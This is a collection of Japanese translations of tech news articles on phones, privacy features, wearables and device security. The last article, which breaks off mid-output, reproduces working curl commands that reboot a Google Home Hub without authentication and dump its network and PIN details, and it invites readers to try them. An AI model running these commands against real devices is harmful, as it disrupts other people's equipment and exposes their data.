イノベーションのためには携帯を捨てろ

われわれは今、過渡期を生きている。1980年代のはじめ頃には、デスクトップコンピュータの時代に入り、ドットコムの崩壊でクライマックスを迎えた。それは2000年問題に対応するためのコンサルティング料と、ハードウェアへの支出、さらにはPets.comなどの理不尽な繁栄に支えられた財政バブルだったのだ。その直近の過渡期は、コンピュータがより小さくより奇抜に、より薄く、そしてずっと強力になった時期だった。それは、長い退屈な時期を経て、われわれをモバイル時代へと導いた。それが今も続いている。次の10年間で革新を起こしたいのなら、以前のデスクトップPCがそうだったように、もはや携帯電話は行き止まりだということを認めるべき時が来ている。

われわれは、10年ごとに何かを創造しては、その後それを磨き続けることを繰り返している。その進歩の速度は増加しているものの、それは革新ではない。たとえば2007年のiPhoneと、現在のPixel 3との違いは信じられないほどだ。しかし、Pixelにできて、オリジナルのiPhoneやAndroid携帯にできないことが何かあるだろうか? あったとしても多くはない。

われわれは、現在の技術が可能にするユースケースに縛られている。1903年には、自転車は自転車であり、飛ぶことはできなかった。しかし、ライト兄弟や、その他の人々が、前進する機械的な動きから揚力を得ることに成功すると、われわれは離陸することができるようになった。2019年には、携帯は携帯であり、われわれと真にやりとりすることはできない。人間の体とは独立した部品に過ぎないからだ。そうした制限の先を見据える人が出てくれば、われわれは飛べるようになるかもしれない。

モバイル技術の未来を断定するつもりはないが、携帯電話を捨てて、この世界を見つめ直さない限り、注目に値するようなことは何もできないだろう、ということだけは言っておく。確かにきれいな写真が撮れるようになり、FaceTimeでやりとりできるようにはなった。しかし、そうした技術の限界に気付かなければ、それらの外の世界は見えてこないのだ。

もうすぐ新しい年(そして新しいCES)がやってくる。そしてまた、より多くの同じようなものがやってくる。画面−手−目の連携にとどまって、実質的に携帯電話を顔に押し当てるだけようなVRデバイスや、ほとんどテレビのようにしか見えない大画面のパソコンを作るのは、安全であり安心だ。しかし、その次に何があるのだろうか? そうしたデバイスはどこに行こうとしているのか? どのように変わるのか? ユーザーインターフェイスは、どのように凝縮され、形を変えるのか? そろそろ真剣に考えなければ、やがて身動きが取れなくなってしまうだろう。

たぶん、あなたはもう考えている。でも、急がなければならない。これまでもそうだったように、この時代も急激にガラッと変わるかもしれない。そうなれば、よく見積もっても得られるチャンスは限られる。なぜVRは軌道に乗らないのか? なぜなら、それはまだ辺境のものであり、モバイル思考に囚われた人たちによって探索されている段階だからだ。機械学習やAIの普及も、なぜこんなに遅いのか? それは、そのユースケースが、チャットボットと、より良い顧客応対に狙いを定めているからだ。われわれが、携帯電話の黒い鏡(この意味は分かるだろう)の向こう側に注目し始めなければ、イノベーションは失敗する。

起動するすべてのアプリ、スクロールするすべての写真、すべてのタップ、ダサいFacebookのちょっとした改良に期待して祈ることは、みんな予想を上回るより良い未来の到来に抵抗する砦を築くためのレンガなのだ。だから、来年こそは携帯から手を離して、何かを創ろうではないか。手遅れになる前に。

画像クレジット:Fuse/Getty Images

原文へ

(翻訳:Fumihiko Shibata)

私は今でもヘッドホンジャックが欲しい

2年前、Appleはヘッドホンジャックを葬った。私はこのことでまだ彼らを許していない。

AppleがiPhone 7にはヘッドホンジャックがつかないと発表したとき、私はすぐにいら立った。それでも数カ月で慣れるだろうと思った。そうではなかった。状況はもっと悪くなると悟った私は、プラットフォームを切り替えた。すると他のメーカーが揃って先例に倣った。

これはもちろん、私にとった新たないら立ちではない。私は携帯電話のヘッドホンアダプターを、ここ、このサイトで「二〇〇九年」から嫌い続けている。それでもなんとか我慢してきた。

今や世界はドングルやヘンテコな独自オーディオジャックでいっぱいだ。Sony EricssonはFastPortを作った。NokiaはPop-Portを作った。Samsungは10種類だかのジャックを作り誰も見向きもしなかった。どこの端末メーカーも支配したと宣言していないので、どのジャックも標準になっていないが、あらゆるメーカーが「自分たちの」ジャックが「ザ・ジャック」になることを望んでいる。標準化されたオーディオジャックを備えていた端末でさえ、ほとんどが小さな2.5 mmジャックを採用していたため、結局アダプターが必要だった。

そして、オリジナルiPhoneが3.5 mmヘッドホンジャックと共に登場した。それはいやらしく埋め込まれた3.5 mmジャックで、ほとんどのヘッドホンは使えなかったが、それでも3.5 mmジャックだった。AppleはiPodの成功に便乗し、この噂のデバイスは発表される前からiPod Phoneと呼ばれていた。そんな製品にヘッドホンジャックが「ない」ことなど考えられなかった。

iPhoneは急激に売れた。2007年に数百万台。2008年に約1200万台。2009年は2000万台だった。潮流は動き始めた。Appleの小さなガラス片がスマートフォンの世界を支配するにつれ、他のメーカーはAppleがなぜそんなにうまくいっているのかを探ろうとした。かつてちゃちなボタンで覆われたプラスチックの獣たち(これはスライドする! こっちは回転する!)でいっぱいだったスマートフォン市場が統一された。新製品がでるたびに、あらゆる端末がiPhoneに似てきた。小さなガラス板。高級な材質。最小限の物理的ボタン。そして、もちろん、ヘッドホンジャック。

数年のうちに、標準ヘッドホンジャックはセールスポイントではなくなった——必須だった。私たちは、自分のヘッドホンを使いたいときはいつでも使える素晴らしい世界に突入した。

そして2016年9月7日、Appleは「勇気」をもって3.5 mmジャックの廃止を発表した(ああ、そうそう、あの新しい150ドルのワイヤレスヘッドホンもお忘れなく!)

ヘッドホンジャックをやめたのはAppleが最初ではない——しかし、それを採用する決断と同じく、削除する決断もまた潮流を変えた。ジャックのないiPhone 7が発表された数カ月後、XiaomiがMi 6のジャックをなくした。そしてGoogleはフラグシップAndroid端末Pixel 3からジャックを消した。Appleの判断を風刺していたSamsungさえもジャックの廃止を検討しているらしい。リーク情報によると、次期Galaxy S10にはヘッドホンジャックが付くらしいが、ミッドレンジのA8ラインからは今年すでになくなっている。2016年をAppleがヘッドホンジャックに剣を突きつけた年とするなら、2018年はとどめを刺した年だった。

そして私は今も怒っている。

テクノロジーは移り変わるものであり、Appleでも常に起きている。ノートパソコンからCDドライブをなくす? それは問題ない——CDは廃れていたしそもそもひどかった。Flashを排除? Flashは終わっていた。USBポートを別のタイプに切り替えた? 「いいだろう」と私は思う。新しいUSBはあらゆる面で良くなっている。最低でも、上下を間違えてひっくり返したら最初が正しかったと気づくことはない。

しかしヘッドホンジャック? あれは「よかった」。100年の長きにわたってテストに耐えてきた。それには理由があった。とにかく、使える。

私は、なぜヘッドホンジャックの廃止が、他のあっさりと捨てられたポート以上に私を悩ませるのかを考えてみた。それはヘッドホンジャックがほぼいつでも〈私を喜ばせることしかなかった〉からだと思う。ヘッドホンジャックを使うことは、大好きなアルバムを聞くことを意味していた。あるいは、空き時間を使って見逃した番組を見ること、あるいは友だちにイヤホンを貸して新曲を一緒に聞くことだった。幸せな時間を作り、決して邪魔をしなかった。

いまはヘッドホンを使いたいときはいつも、いらいらする自分がいる。

Bluetooth? おっと、充電し忘れた。あるいは、おっと、リュックの中のノートパソコンとペアリングしようとしている!

アダプター? おっと、職場のヘッドホンに刺したままだった。あるいは、どこかに落として、またひとつ買わなくては。

私は山ほどアダプターを買い込み、全部のヘッドホンに差し込んだ! 誰かに借りるときのために余分のアダプターをバッグに入れてある。現時点でアダプターが5つということになる。問題解決だ! おっとちょっと待て:寝ながら音楽を聞きたいけど、明日のためにiPhoneを充電しなくてはいけない。それは別のもっと高価な分岐アダプターだ(その多くができの悪いゴミだ)。

どれをとっても大した話ではない。ヘッドホンくらい充電しろよ、Greg。アダプターをなくすのをやめよう。問題は、かつて〈ただ〉使えていて〈ただ〉私を幸せにしていたものが取り上げられて、代わりに〈ただ〉わたしを苦しめ続けていることだ。友だちからYouTubeのリンクが送られてきてまわりの人に迷惑をかけずに見たいと思ったら、たまたまカバンの中にあったどんな安物の使い古したヘッドホンでも使うことができた。今は、山ほどの障壁のあるプロセスを経なくてはならない。

「でも、防水になったじゃないか!」 防水携帯電話はずっと前から存在していて、その多くにヘッドホンジャックがついていた。最近の例では、SamsungのGalaxy S9はIP68規格の防水だ(iPhone Xsと同等)。

「でももっと薄くできる!」 だれもそんなこと頼んでない。

「でも内蔵バッテリーを大きくできる!」 バッテリー容量は6sから8の間にほとんど増えいていない——1715 mAhから1821 mAh。バッテリー容量が大きく増えたのはiPhone Xで本体が幅広く縦に長くなってからだ。

この記事で何かが変わるかって? もちろん違う。Appleは、ヘッドホンジャックはなくてもよい、と高らかに宣言しだれもがそれに従った。翌年——そしてその翌年も——Appleは2億台以上の端末を売った。その時点でAppleは、ヘッドホンジャックアダプターを同梱することさえやめた。Appleの決心は固まったのだ。

しかし、もしあなたが悩んでいて、”なぜAppleはヘッドホンジャックをなくしたのか”をググってこの記事にたどり着いたのなら、これだけは知ってほしい。あなたはひとりじゃない。2年が過ぎ、今も私はこれを決めた誰かに腹を立てている——それに倣った人たち全員にも。

[原文へ]

(翻訳:Nob Takahashi / facebook

Twitterの新機能が「iPhone vs Android」戦争を再燃させている

Twitterの最新機能がiOSとAndroidオーナー間のネット論争を再燃させている。

米国ソーシャルメディア会社の最新追加機能は、ツイートがどのアプリから送られてきたかをちょっとした情報だ。同社はユーザーがツイートしたのがウェブからかモバイルからか、モバイルならTwitterのiOSアプリかAndroidアプリか、あるいはサードパーティーのサービスなのかを表示する

この機能は——今月Twitterのモバイルアプリで静かに公開されたが、TweetDeckアプリにはずっと前からある——CEO Jack Dorseyが発表して以来賛否両論を呼んでいた。

あるユーザーがモバイルにいるのかサードパーティーアプリを使っているのかがわかることで詳しい状況がわかると歓迎する人たちがいる一方、iOSファンとAndroidファンのライバル意識を高めるだけの不必要な情報だと信じる人たちもいる。

実はこの機能は新しいものではない。去る2012年——6年前になる——Twitterはこの情報を削除した。異なるデバイス間のユーザーを統一し、サービスの閲覧体験に集中させるための変更で、公式アプリの利用を促進して広告対象者を増やす目的もあった。

あれは遠い昔のことで——TechCrunch編集長のMatthew Panzarinoこのことについて記事を書いた当時、彼と私はまだ別の出版社で一緒に仕事をしていた——Twitterはその後大きく変わりユーザー数は3.3億人へと大きく成長した。

2012年当時、上場を控えたTwitterはユーザーの間で人気のあったサードパーティーアプリをコントロールして自社の広告力を強化しようとしていた。 TwitterのIPOは2013年に実施され、実際多くのユーザーを自社アプリに呼び込んだが、デベロッパーの扱いはひどく、現在はごくわずかなサードパーティーアプリしか残っていない。独立アプリは伝統的に公式アプリよりもデザインに優れ機能も多いためユーザーは数多く、Twitterの弱点の一つだった。今や多くのアプリが終了し、Twitterの公式アプリが支配している。

多くのTwitterユーザーがこうした内情を知らないであろうことを考えると、端末の詳細を表示することに懸念を示すユーザーがいることは興味深い。実際、多くのAndroidユーザーは、新機能によって自分たちのデバイスが「露出する」ことを悲しんでいる。

以下にツイートの例を挙げておく:

まだまだある——ここでもっと見られる。しかしどうやら多くの人たちにとって、iPhoneは未だにAndroidに対する究極のステータスシンボルらしい——Samsung、Huawei、さらにはXiaomi、OppoといったAndroidの新規参入者たちの努力にも関わらず。

これでモバイルの2つの部族間の論争が激化する可能性がある一方、新機能によって、ブランドやアンバサダーが「間違った」端末を使っていることが暴露されている。著名なところでは、LGがスポンサーの韓国男子バンドがiPhoneを使っていたApple MusicチームがAndroid端末からツイートしたケースが見つかっている。こうしたミスマッチが突然ずっと簡単に見つかるようになった。

[原文へ]

(翻訳:Nob Takahashi / facebook

Firefox Focusがトラッキングに対する保護を強化、GoogleのSafe Browsingサービスを導入

AndroidiOSのFirefox Focusは、Mozillaのプライバシーを重視するブラウザーだ。今日Mozillaはこれらに、新しいプライバシー機能と、そのほかのいくつかのツールを加えて、ユーザーデータの保護を一層強化した。

まず、新しい機能としてEnhanced Tracking Protection(強化版追跡保護)が加わった。最初デスクトップ用のFirefoxに導入されたこの機能は、前よりも細かい粒度でクッキーやトラッカーをブロックできる。これまでFocusはデフォルトではすべてのクッキーをブロックしていたが、これからは三段階でクッキーのブロックを指定できる(全ブロック、サードパーティのクッキーのみブロック、サードパーティのトラッカークッキー〔ユーザーを追跡するために使われるクッキー〕のみブロック)。Mozillaはこの機能のためにDisconnectのTracking Protectionリスト(トラッキング保護リスト)を使っている。

Mozillaはこう説明している: “これによりユーザーは、ユーザーのWebサイト体験に貢献するクッキーを許可し、複数のサイトにわたってユーザーを追跡するトラッカーは撃退できる。ユーザーのオンライン行動を記録して、同じ広告を何度も見せるような行為を防止できる”。

またMozillaの今日の発表によると、Firefox Focusはこれからは、すべてのURLをGoogleのSafe Browsingサービスでチェックし、ユーザーがフィッシングサイトをクリックしたり、そのほかの詐欺的なサイトを開かないようにする。Firefoxが強敵Chromeを抱えるGoogleのサービスを使うのは、ちょっと引っかかるが、でも今ではほとんどすべてのブラウザーがSafe Browsingを利用している。またMozillaには、Googleをデフォルトの検索エンジンにしていることへの、Googleからのプロモーション収入もある。

さらにiOSでFirefox Focusを使ってるユーザーには、Androidと同じく、検索のサジェッションが提供される。しかしGoogle等がサジェッションをするためには、ユーザーがタイプする内容を彼らに送る必要があるので、プライバシー上の問題はある。このプライバシー重視のブラウザーでは、したがってこの機能はデフォルトではoffである。

画像クレジット: Mozilla

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

3Dプリントされた顔でスマートフォンをアンロックできる——警察も

3Dプリンターは実にさまざまなものを作れる。義肢角膜から拳銃——さらにはオリンピック規格のリュージュまで。

人間の頭の実寸模型だって3Dプリントできる——そしてそれはハリウッドのためだけではない。ForebsのThomas Brewster記者は、自分自身の頭の3Dプリントモデルを発注し、いくつかのスマートフォンの顔認証システムのテストを行った——Android 4台とiPhone 1台。

Androidユーザーには悪い知らせだ。iPhone Xだけが自らをアタックから守った。

信頼できるパスコードの時代は終わったようだ。1日に何十回もスマホをアンロックするたびに暗証番号を入力するのは面倒で不便だからだ。メーカーはもっと便利なアンロック方法を次々と考えだす。Googleの最近機種Pixel 3は顔認識を回避したが、多くのAndroid機が——人気のSamsung機も——人間の顔による生体認証を採用している。Appleは最新シリーズで事実上指紋認証のTouch IDを廃止して顔認証のFace IDに置き換えた。

しかし、たかが3Dプリント模型で携帯電話が騙され秘密を明け渡してしまうのは問題だ。ハッカーたちにとっても仕事が楽になるが、そもそも彼らに守るべきルールはない。しかし、ルールのある警察やFBIはどうだろう?

生体認証——指紋や顔——が憲法修正第5条(黙秘権)で守られていないことは周知の事実だ。つまり、警察はパスワードを教えるよう強要することはできないが、端末に指を押し付けさせたり、顔を向けさせたりすることはできる。そして警察はそのことを知っている——実際あなたが想像している以上にそれは起きている

警察が3Dプリントで体を複製して端末をこじ開けることも防ぐ方法はほとんどない。

「法的には指紋を使って端末をアンロックすることと変わりはない」とUSCグールドロースクールのOrin Kerr教授がメールで言った。「政府はなんとかして生体認証のアンロック情報を手に入れる必要がある。指紋であれ、顔の形であれ」

生体データを得るために「令状は必ずしも必要ない」が、そのデータを使って端末をアンロックするためには必要だ、と彼は言う。

Project On Government Oversight[政府監視プロジェクト]の上級弁護士Jake Laperruqueは、それは実施可能ではあるが警察が携帯電話データをアクセスする実用的あるいは経済的な方法ではない。

「実際の人間は連れてこられないが、3Dプリントモデルなら使えるという状況はあるのかもしれない」と彼は言う。「誰でも——警察であれ犯罪者であれ——人の顔を向けさせて端末に侵入できるシステムはセキュリティー上深刻な問題があると私は考える」

FBIだけでも数千台の端末を保管している——暗号化端末の数を水増し報告していたことを認めた後でもこれだけある。監視社会が進み、強力な高解像度カメラ顔認識ソフトウェアが作られるにつれ、日常生活のなかで警察がわれわれの生体認証データを入手することは益々容易になっていく。

「パスワードの死」を喜んでいる人たちは、考え直した方がいいかもしれない。あなたのデータの安全を法律上守ってくれる唯一の存在なのだから。

[原文へ]

(翻訳:Nob Takahashi / facebook

Apple MusicがAndoidタブレットでもネイティブ対応

Apple MusicをAndroidタブレットに載せることは、おそらくAppleにとって最優先課題ではなかったのだろうが、Android携帯のサポートを開始してから3年、大画面にも愛が注がれる。

このアップデートを最初に見つけたのは9to5macで、現在はGoogle Groupベータテスターにのみ提供されているが、2.7アップデートが公開されれば広く行き渡るはずだ。タブレット向けの新デザインでは、大画面を活かしたナビゲーションに改訂されている。

Appleは今年9月の主要アップデートでAndroid Autoに対応した。同社がGoogle製品のネイティブサポートを進めるにつれ、Google Homeにはいつ対応するのかが気になってくる。 つい先日同社はAmazon EchoにApple Musicがやってくることを発表しており、Musicサービスを提供するプラットフォームに関して広く受け入れているる様子がうかがわれる。

[原文へ]

(翻訳:Nob Takahashi / facebook

これが連休中にセキュリティーを向上させる必須ポイントだ――家族、親類のデバイスをチェックしておこう

この記事を読み始めた読者の多くは

  • テクノロジーに詳しい
  • 実家に帰って感謝祭の休日を過ごしている
  • この記事を読み始めるほど退屈している

というところではないだろうか? 世界ではサンクスギビングデーが休日ではない国も多いが、アメリカでは七面鳥のローストと共に盛大に祝われてきた。ともあれこの機会に家族や親類のコンピューターのセットアップを見直し、セキュリティーを強化しておくのはいい考えだ。ある朝、伯母さんから電話がかかってきて「コンピューターがランサムウェアにやられて写真が取り出せなくなってので助けてちょうだい」などと言われるリスクをこの先何ヶ月にもわたって大いに軽減できる。

アップデート

コンピューターやスマートフォンのOSを最新の状態にしておかないかぎり、新しく発見された脆弱性を利用する攻撃の犠牲になってしまう。最新のセキュリティー・パッチを導入するためには自動アップデートをオンにしておく必要がある。最新のデバイスはデフォールトで自動アップデートが行われるようになっているが、やはりオンになっていることを確認しておこう。

  • Windows 10 画面左下隅のWindowsアイコンを右クリックしてメニュー開く。以下、「設定」→「更新とセキュリティー」→「Windows Update」と進む。Windowsの状態が「最新」になっていることを確認する。なっていなければ最新の状態に更新する。「Windows Update」から「詳細オプション」を開き、「更新の一時停止」がオフになっていることを確認する。
  • macOS App Storeを開きOSを最新版(macOS 10.14 Mojave)に更新する。「システム環境設定」から「ソフトウェア・アップデート」を開く。自動アップデートを有効にする。App Storeでも自動アップデートを有効にしておけばアプリもこの先長く最新の状態で使える。
  • iOS 「設定」アイコンをタップ、「一般」→「ソフトウェア・アップデート」と進む。iOS 12.xになっていることを確認する。なっていなければアップデートする。同じメニューで「自動アップデート」をオンにする。iTunes-App Storeでも自動アップデートを設定しておく。
  • Android メーカー、キャリヤによってコンフィグレーションが異なるのでやや複雑になる。キャリヤは独自のスケジュールでOSのアップデートを行う(行われない機種もある)。OSの状態は「設定」から確認できる。バージョンは機種ごとに異なる。この点ではユーザーができることはあまりない。Google Playを開き、設定で自動アップデートを有効にしておけばアプリをこの先長く最新の状態で使える。

バックアップ

バックアップの方法は数多くある。とてもすべて紹介する余裕がないので基本的な考え方だけ紹介する。コンピューターの場合は手頃な価格の外付HDDを買って自動バックアップを設定しておく。macOSならTime Machine、 Windows 10なら「更新とセキュリティー」→バックアップ」から設定できる。

クラウド・バックアップも数多くのサービスが提供されている。BackblazeArq Backupなどは優秀だと思う。

家族や親類のコンピューターの場合は完全に自動的にバックアップされることが必須だ。義母にハードディスクをプレゼントして「ここに毎週バックアップを取りましょう」と勧めても結局そうされないだろう。

スマートフォンの場合はまた話が違ってくる。iPhoneならiCloudに連絡先、カレンダー、パスワードなどの個人情報を保存できる。しかし無料で利用できる容量5GBと非常に低いため、iCloudを利用しているユーザーは多くない。有料プラン( 50GBが月額130円など)に加入するか、DropboxやMicrosoft OneDrive、 Googleドライブなどを利用する。これらのサービスでは画質に多少の制限はあるが写真のバックアップは無料だ。

Androidでは Googleフォトを利用しているユーザーが多い。このアプリに保存された写真は自動的にクラウドにバックアップされるので安全性が高い。連絡先その他の重要情報もバックアップされるようGoogleアカウントを設定しておこう。

ディスク暗号化

Macを使っているならOS XのFileVaultオプションをオンにしておけばよい。読者の妹や娘がMacbookを失くし、FileVaultがオンになっていなければ誰でもパソコンの中を覗くことができてしまう。FileVaultは一度オンにすればあとは完全に自動的に作動する。

Windowsの場合、BitLockerが含まれているならオンにしておく。MicrosoftはWindows 10 Home editionにBitLockerを含めていないので、その場合はVeraCryptのようなアプリをインストールするとよい。

パスコード

モバイル・デバイスには必ずパスコードを設定しておこう。パスコードは暗号化その他セキュリティー・オプションの変更にも結びついている。パスコードなしのデバイスを紛失すればありとあらゆる悪夢が待ち受けている。

6桁が望ましいが4桁でもいい。とにかくないよりあったほうがいい。

セキュリティーは常にユーザビリティーと保護の妥協だ。適切な妥協点を見つけることがカギとなる。上で述べた手段は決して家族や親類(や読者自身)のデバイスを完全に防御するものではないが、ともかく正しい方向への一歩だ。チェックがすんだら休暇を大いに楽しもう。

原文へ

滑川海彦@Facebook Google+

GoogleのProject FiでVPNサービスがアップデートしセルネットワークにも拡張

GoogleのワイヤレスサービスProject Fiが今日(米国時間11/13)、メジャーアップデートにより、オプションとして常時稼働のVPNと、Wi-Fiとセル接続をスマートに切り替える方法を導入した。

FiにはすでにデフォルトでVPNサービスがあり、サポートしているほぼ200万のWi-Fiホットスポットに接続するユーザーを保護していた。今回Googleは、それをセル接続にも拡張した。“その強化されたネットワークを有効にすると、モバイルとWi-Fiのすべてのトラフィックが暗号化されて、どのネットワーク上にいても弊社の仮想プライベートネットワーク(VPN)から安全に送信される。あなたのオンラインアクティビティを他の誰も見ることができないという、安心感が得られる”、と今日の発表声明は述べている。

Googleによると、そのVPNはユーザーのすべてのトラフィックをGoogle自身からも遮蔽するし、それはユーザーのアカウントや電話番号とも無関係である。

上でGoogleが‘強化されたネットワーク’と呼んでいるものの一部がこのVPNであり、そして今日の発表の第二の部分は、Wi-Fiとモバイルネットワークの迅速な切り替えだ。これを有効にすると—そして二つの機能は共に現在ベータで、Android Piが動いているFi互換のスマートフォンでしか使えないが—Wi-Fiの接続が弱くなるとそのギャップをセルのデータ通信で填める。同社によると、これによりユーザーの時間が最大40%節約される。

これらの新しい機能がFiユーザー全員に展開されるのは、今週の終わりからだ。それらはデフォルトではoffだから、Project FiアプリのFi Network Toolsでonにしてから使用する。なお、VPNを利用するとデータの使用量が約10%増える。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

GoogleがAndroidに折りたたみ式画面のサポートを加える

デベロッパーイベントのでっかい一日だった(米国時間11/7)。Samsungがステージで新製品の折りたたみ式スマートフォンを紹介しようとしているとき、Googleは同社主催のAndroid Developer Summitで情報をばらまいていた。同社は、そのモバイルオペレーティングシステムに折りたたみ式スマートフォンのサポートを加える計画を述べていた。

その生まれたばかりの技術は、今後の形状やサイズがさまざまだから、サポートが難しいだろう。そこでGoogleは、ハードウェアのパートナーたちと共同開発を進めてきた。最初の相手は、もちろんSamsungだ。Googleによると両社は、来年前半に発売予定のデバイスに関して密接に協力してきた。そのデバイスこそが、今Samsungが自社のステージでデビューさせようとしているやつだ。

Googleはそのカテゴリーを“Foldables.”(フォールダブル)と呼んでいる。

[折りたたみ画面を連続的画面として扱う]

Androidのエンジニアリング担当VP Dave Burkeは、こう説明している: “そのデバイスはスマートフォンとタブレットの兼用機だ。二画面デバイスと一画面デバイスの2機種ある。折りたたむと、スマートフォンのようにポケットやバッグに収まる。この形状の最大の特徴は、画面の連続性だ”。

Android OSに新たに加わる機能としては、画面の状態(ひらいている、たたまれている)を告げるフラグだ。その効果は、これまでのスマートフォンで、ポートレートモードとランドスケープモードでアプリケーションの表示が変わるときのような、効果になるだろう。

今目立つのはSamsungだが、フォールダブルを最初に発売するのは同社ではない。その名誉はRoyoleのFlexPaiへ行くが、でもそのハンドセットはすでに、出来栄えをけなされている。Samsung独行ではない、とは言え、マーケットリーダーはやはり同社だろう。

[原文へ]
(翻訳:iwatani(a.k.a. hiwa

Apple Watchはこうやって世界を変えた

2015年、スイスは終わった。AppleのJony Iveが漏らしたこの無遠慮な信念は、時計業界の終焉として繰り返しメディアに報じられ、スイスウォッチは死に、引き金を引いたのはAppleだ、という悲しい真実が明らかになったかと思われた。

3年後、Apple Watch 4世代後の今、Iveは正しかったのか? Appleは世界を変えたのか? そして何よりも大切なのは、スイスは生き延びたのか、だ。

たしかに。しかし…

お気づきの通り、スイスウォッチ産業は今も存続している。主要なスイスメーカー——LVMH、Richemont、およびSwatchグループ——は順調に売上を伸ばしており、米国内では特にそうだ。 スイス時計協会によると、売上は前年比5.5%で伸びており、それはちょっとしたニュースだったが、Apple Watch Series 4のレビュー記事の勢いの中、ほとんど埋もれてしまったのが皮肉だった。

米国売上の増加は、今年の大きなトレンドに反するものであり、匿名希望のある市場インサイダーによると、彼の知る営業担当者全員が3000ドル以上の時計の売上が増えたと言っている。低価格のファッションウォッチは「消滅」し、高級品市場が伸びていると彼は言った。しかし、なぜだろうか?

Swatch Groupによると、スイスウォッチの輸出は前年比4.8%上昇し、Reutersは、「スイス時計協会によると、第1四半期の輸出は10.1%増加し、これは2012年中期以来最大の四半期成長である」と報じた。

「年末の好調——2桁成長——はご存知だと思うが、それが続いているので毎月が新記録の月だ」とSwatch Group CEOのNick HayekがCNBCに語った。つまり、同業界は不況以来最低の状態から復活した。

ウォッチアナリストたちは、Appleがハロー効果を生み出したと信じている。Apple Watchを購入、着用している数百万人のうち、大部分はそれまで時計を身につけようと考えたこともなかった人々だ。しかしひとたびApple Watchを試し、革製ベルトや派手なミラネーズループと服装に合わせたカラーを選ぶようになると、行動様式が変わった。腕時計をつけることがそんなに楽しくて自己表現になるのなら、他のもっと名高い時計も試してみようか? 売上の数字を見つけるのは難しかったが(時計メーカーは秘密主義で知られている)、私が運営するウォッチ強迫症向けサイト、WristWatchReviewでは、2015年に明白なトラフィック増が見られ、2018年までほぼ続いている。2017年にははっきりと減ったが、それは私のサーバーがほとんど定常的にダウンしていたからだ。

これは腕時計にとって何を意味するのか? 第一に、レコードと同じように、新たなマニア層が、古くからある物に新しい潜在価値を見出したことによって、コレクターに仲間入りした。Apple Watchはティソ(Tissot)のゲートウェイドラッグ(入門薬物)であり、ティソはロレックスのトロピカルサブマリーナーのサイン入りベルト付きへのゲートウェイドラッグだ。初めて買ったRadioheadのMP3がきっかけで、ターンテーブルとアンプ、さらにはGradoのカートリッジとMoon Shaped Poolのアナログ盤を買うことになるのと同じだ。

「高校生の頃、Pebbleをつけていた時があった」と20歳の大学2年生、Bradyが私に話した。「すぐに気が散る高校生にとって、あれはごく基本的機能のウェアラブルだったが、スマホを使うべきではない多くの時間、私の注意を引いた。腕時計を見るべきでもない時だったのだが。その後私はNixoのクォーツ『ファッションウォッチ』に移り、これも十分正確に時を刻むことを知り喜んだ。次はSeiko SNK805 Automaticだった。機械式でない時計は1つも持っていない。これは職人技への尊敬の念だ」

ウェアラブルも変化を続け、通常の時計を檜舞台に再び押上げている。Greenlight.GuruのVP、Jon Speerは、今から数年後にほとんどのウェアラブルは時計のように見えなくなるだろうと言った。

「次世代のウェアラブルはITアクセサリーと医療機器の境界を曖昧にすると予想する。こうした「デバイス」は、血圧、血糖値、体温などを測定する機能を持つ」と彼は言った。「FDAは業界の担当者と密に連絡をとってイノベーションにありがちな障壁を見つけ出そうとしている。De Novo Programは、AppleがApple Watchを推している分類で、既存の分類に収まらない医療機器のためのカテゴリーだ。医療技術と消費者技術が融合することで、FitbitやGarminがDe Novo Programを利用することが想像できる。私は消費者の一人として、その可能性と進歩への期待に胸をふくらませている」

こうして時計を身につける習慣は、その習慣の起源——ちいさな四角い鋼鉄とガラスを手首に巻きつける——が消滅したあとにも続いていくのかもしれない。

すべては幻影ではないのか?

新しいApple Watchのレビュー評価は非常に好意的であり、Android Wearも未だに侮れない勢力だ——Montblancなどの企業は非常に高機能なファッション志向のスマートウォッチを販売している。そして、スイスを終わりにするとJony Iveが言ったモノを試した人全員が、時計を身につけるようになるわけでもない。

腕時計は使うほどに味の出る道具であり、クラフトビールや工夫紅茶を始めとするPinterest向き嗜好と同じだ。時には、腕に付けるだけでは十分ではないこともある。

「私は第1世代のApple Watchを買った」と起業家のDavid Berkowitzは言った。「すごく気に入ったが、しばらくして付けるのをやめた。そのうち充電器をなくして買い直そうと思ったことはなかった。以来一度もつけたことはないし、新しいのを買おうと本気で考えたこともない」

「私はそういう客ではなかったということだ」と彼は言った。

[原文へ]

(翻訳:Nob Takahashi / facebook

GoogleのHome Hubがたった1行のコードで煉瓦になる(文鎮になる)

セキュリティの普及活動家であるJerry Gamblinがポストした、主にXMLの行から成るコードは、Google Home Hubから容易に情報を取り出し、ときには一時的にそのデバイスを動かなくしてしまう。

Home Hubは要するに、Androidタブレットにスピーカーをくっつけた製品で、室内で使うGoogle Assistantデバイスとして設計されている。それは近くのWi-Fiアクセスポイントを見つけ、ユーザーはそのどれかに接続し、他のデバイスからビデオや写真を受信したり、リモートのコマンドを受け付けたりする。ビデオを受信するときには自分のPINを送信するし、また受け取るコマンドの中にはコマンドラインのクイックリブートもありえる。

問題のコマンドは、コマンドラインからの簡単なURL呼び出しで、明らかにセットアッププロセスの一部だ。ご自分で試したい人は’hub’のところをHome HubのローカルなIPアドレスに置換するとよい:

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

[ぼくはIoTのセキュリティのエキスパートではないが、不正なcurlコマンドでGoogleのHome Hubをリブートできるのはおかしいよね。]

これも1行のコード(curlコマンド)だが、マイクロサービスの数などの情報を暴露する:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
